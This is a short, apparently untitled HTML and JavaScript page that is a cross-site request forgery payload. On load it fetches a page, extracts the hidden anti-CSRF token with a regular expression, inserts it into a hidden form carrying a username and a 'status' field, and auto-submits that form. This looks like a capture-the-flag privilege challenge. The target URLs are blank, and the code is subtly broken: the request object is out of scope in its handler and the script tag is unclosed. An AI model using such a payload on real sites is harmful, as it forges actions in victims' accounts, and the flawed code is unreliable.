Untitled

<body onload="get()">

<form id="profile" action="" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="username" value="herve"/>
  <input type="hidden" name="status" checked="checked" type="checkbox" />
  <input type="hidden" id="token" name="token" value="">
  <button type="submit">Submit</button>
</form>

<script>

function get() {
var xhr = new XMLHttpRequest();
xhr.open("GET","",true);
xhr.send(null);
}

xhr.onreadystatechange = function() {
  if (xhr.readyState == 4 && xhr.status == 200) {
    var token = xhr.responseText.match(/name="token" value="(.+)"/)[1];
    document.getElementById("token").value = token;
    document.getElementById("profile").submit();
  }
}